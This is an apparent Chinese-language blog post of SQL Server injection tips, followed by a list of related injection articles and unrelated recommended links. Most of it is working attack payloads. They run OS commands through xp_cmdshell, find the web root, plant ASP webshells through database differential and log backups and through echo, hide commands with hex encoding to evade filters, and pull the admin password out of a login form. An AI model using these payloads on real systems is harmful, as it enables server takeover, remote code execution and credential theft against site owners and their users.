一、SA权限执行命令,如何更快捷的获取结果?
有显示位
显示位
其实这里的关键并不是有无显示位。exec master..xp_cmdshell 'systeminfo'生成的数据写进一张表的时候,会产生很多行。而我们要做的就是如何很多行通过显示位、或者报错语句一次性爆出来,这里的关键就是多行合一。
方法①

01
     

02
BEGIN

03
     IF EXISTS(select table_name from information_schema.tables where table_name='test_1')drop table test_1;

04
     IF EXISTS(select table_name from information_schema.tables where table_name='test_2')drop table test_2;

05
     create TABLE test_1([output][varchar](1000));

06
     insert test_1 exec master.dbo.xp_cmdshell 'ipconfig /all';

07
     DECLARE @result varchar(8000)

08
     SET @result='~'

09
     SELECT @result=@result+' '+output from test_1 where output>' '

10
     SELECT @result AS result INTO test_2;

11
     SELECT convert(int,(select result from test_2));

12
END;

解析:
这里6-9句的意思是申明一个@result的临时变量;
设置初始值为’~’;将test_1中的数据数据依次取出来,迭代条件是output>’ ‘,并组合成新的字符串,字符串之间用空格隔开最后复制给@result;
然后将@result设置一个别名,然后插入test_2中。
最后报错回显
PS:
mssql英文字母比较大小不区分大小写
mssql字符串比较大小和C语言中的str_cmp()一样的道理
方法②(注入点测试成功、测试平台SQL Server2008- 10.0.1600.22 (X64)

1
报错:AND (SELECT * FROM test_1 FOR XML PATH(''))=1--

2
显示:UNION SELECT 1,(SELECT * FROM test_1 FOR XML PATH(''))--

二、如何快速寻找网站目录(SA用户)
SA用户被降权
SA用户未被降权
这里区分降权与非降权是有道理的,如果没有被降权。那么权限很高就可以读取某些保存在本机的配置了,如果权限低一点的话,可以使用dir命令查找。
方法①(被降权:–亲测成功):

1
CREATE TABLE test_1([output][varchar](1000));

2
INSERT test_1 EXEC master.dbo.xp_cmdshell 'dir /s d:\web.config ';

3
AND (SELECT * FROM test_1 FOR XML PATH(''))=1;

方法②(未被降权–system–亲测成功):

1
CREATE TABLE test_1([output][varchar](1000));

2
INSERT test_1 EXEC master.dbo.xp_cmdshell 'cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root ';

3
AND (SELECT * FROM test_1 FOR XML PATH(''))=1;

方法③(sa+system权限+IIS7.0+IIS7.5):
%systemroot%/system32/inetsrv/appcmd.exe list site ——列出网站列表
%systemroot%\system32\inetsrv\appcmd.exe list vdir ——列出网站物理路径
PS: %systemroot%代表c:\windows\
三、如何利用注入点getshell
方法①(差异备份)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试

1
IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;

2
backup database XFData to disk = 'D:\WebRoot\asp.bak';

3
create table [dbo].[test_tmp] ([cmd] [image]);

4
insert into  test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E);

5
backup database XFData to disk='D:\WebRoot\asp.asp' WITH DIFFERENTIAL,FORMAT;

方法②(减小体积)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试

1
IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;

2
alter database XFData set RECOVERY FULL;

3
create table  test_tmp  (a image);

4
backup log XFData to disk = 'D:\WebRoot\asp.bak' with init;

5
insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);

6
backup log XFData to disk = 'D:\webroot\123.asp'

PS:
如果不能备份,很有可能是访问权限的问题。可以切换目录尝试
如果表存在,也不能成功;所以先判断表是否存在,如果存在就删除。
方法③(echo 输出一句话木马)–sa权限+当前用户写权限–亲测成功

1
echo ^<%eval request("pass")%^> >D:\%D1%A7%B7%D6%CF%B5%CD%B3\WebRoot\update.asp

PS:这里由于是注入点,因此需要注意编码的问题。一般来说,网页的编码和数据库的编码是一致的(如果不一致~~~算我输)。这里我用了一个中文路径做说明。
四、如何避免使用select之类的关键字
方法①:十六进制混淆

1
;DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--

五、登录点的注入如何最快获取后台密码

01
1' HAVING 1=1-- #爆出表名

02
  

03
1' GROUP BY username HAVING 1=1--  # 爆出字段名

04
  

05
# User_Mess.Account

06
  

07
# User_Mess.PWD

08
  

09
1';select/**/convert(int,(select/**/top/**/1/**/Account/**/from/**/User_Mess))--                                                          

10
1';select/**/convert(int,(select/**/top/**/1/**/PWD/**/from/**/User_Mess/**/where/**/Account='admin'))--

SqlServer 注入技巧的更多相关文章

  1. SQLServer注入技巧

    一.对于SA权限的用户执行命令,如何获取更快捷的获取结果? 有显示位 无显示位 其实这里的关键并不是有无显示位.exec master..xp_cmdshell 'systeminfo'生成的数据写进 ...

  2. Update、Insert注入技巧

    title: Update.Insert注入技巧 date: 2017-10-23 18:07:57 tags: ["注入"] 审计了不少代码,再看代码的时候最多出现的就是注入,很 ...

  3. False注入,以及SQL注入技巧总结

    title: False注入,以及SQL注入技巧总结 date: 2017-04-25 00:23:31 tags: ['SQL注入'] --- 利用False我们可以绕过一些特定的WAF以及一些未来 ...

  4. MYSQL_Join注入技巧

    Join注入技巧 join无名列报错注入 约束条件 在知到表名的前提下才能操作 注入语句 and extractvalue(1,concat(0x7e,(select * from (select * ...

  5. sqlmap注入技巧收集

    收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅,欢迎接楼补充.分享. TIP1 当我们注射的时候,判断注入 http://site/script?id= ...

  6. Sqlmap注入技巧收集整理

    TIP1 当我们注射的时候,判断注入 http://site/script?id=10http://site/script?id=11-1 # 相当于 id=10http://site/script? ...

  7. 安全测试===Mysql 注入技巧学习 MySQL注入技巧(2)

    原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf 0x00.介绍 也可以参考瞌腄龙的mysql注入科普:http://drops.woo ...

  8. sqlmap注入技巧

    收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅,欢迎接楼补充.分享. TIP1 当我们注射的时候,判断注入 http://site/script?id= ...

  9. MYSQL注入技巧备忘录

    MYSQL一些技巧 仅仅是作为自己备忘录,如果错误,敬请斧正. 0)基础饶过 1.大小写绕过 2.双写绕过 3.添加注释 /*!*/ or /*!小于mysql版本*/ 5.宽字节.Latin1默认编 ...

随机推荐

  1. VS2010在空解决方案中添加项目

    如题,在空解决方案中添加第一个项目的时候会看不到那个solution解决方案文件,而是你当前添加的项目,当你再添加其他项目的时候就悲催了,找不到这个solution,只能在这个项目文件上新加文件,很郁 ...

  2. 如何利用ArcGIS Engine接口实现打开Raster Catalog中的某一幅指定的影像?

    将IRasterCatalog转化为ITable,然后通过ITable.GetRow返回指定索引的IRow,将IRow转为IRasterCatalogItem,进而获取IRasterCatalogIt ...

  3. Android 首页图片轮播

    1.网络上的的一个框架,已经在github 上开源 github  : https://github.com/gcgongchao/flashview 相关博客 : http://www.eoeand ...

  4. 在Android开发中使用Ant 二:进行一次完整的打包

    一次完整的Android打包要进行以下的几步:编译.代码混淆.打包apk.签名apk.apk优化. 为了能包涵使用NDK的情况,在这里使用一个有native代码的工程TestJni. 在工程根目录下新 ...

  5. IOS Quartz2D 通过UIColor生成图片

    普通生成 示例代码: //这里实现普通生成图片的方法 - (void)drawRect:(CGRect)rect { CGRect cxRect = CGRectMake(, , , ); UIGra ...

  6. 单例模式(oc)

    //主函数 main.m #import <Foundation/Foundation.h> #import "Singleton.h" int main(int ar ...

  7. 使用htmlunit在线解析网页信息

    前言 最近工作上遇到一个问题,后端有一个定时任务,需要用JAVA每天判断法定节假日.周末放假,上班等情况, 其实想单独通过逻辑什么的去判断中国法定节假日的放假情况,基本不可能,因为国家每一年的假期可能 ...

  8. Java编译过程、c/c++编译过程区别

    Java编译原理 1.Java编译过程与c/c++编译过程不同 Java编译程序将java源程序编译成jvm可执行代码--java字节码. c/c++编译过程: 当C编译器编译生成一个对象的代码时,该 ...

  9. HBase 高性能加入数据 - 按批多“粮仓”式解决办法

    摘要:如何从HBase中的海量数据中,以很快的速度的获取大批量数据,这一议题已经在<HBase 高性能获取数据>(http://www.cnblogs.com/wgp13x/p/42451 ...

  10. P2P行业专业术语(最全)

    网贷:P2P网络借款,指个体与个体之间通过网站实现借贷,中间网站称为网贷平台,简称平台. 角色类 投资者:在网站上把钱借出去的用户,年龄必须是18周岁以上具有中国国籍的公民. 借款者(贷款者):是指有 ...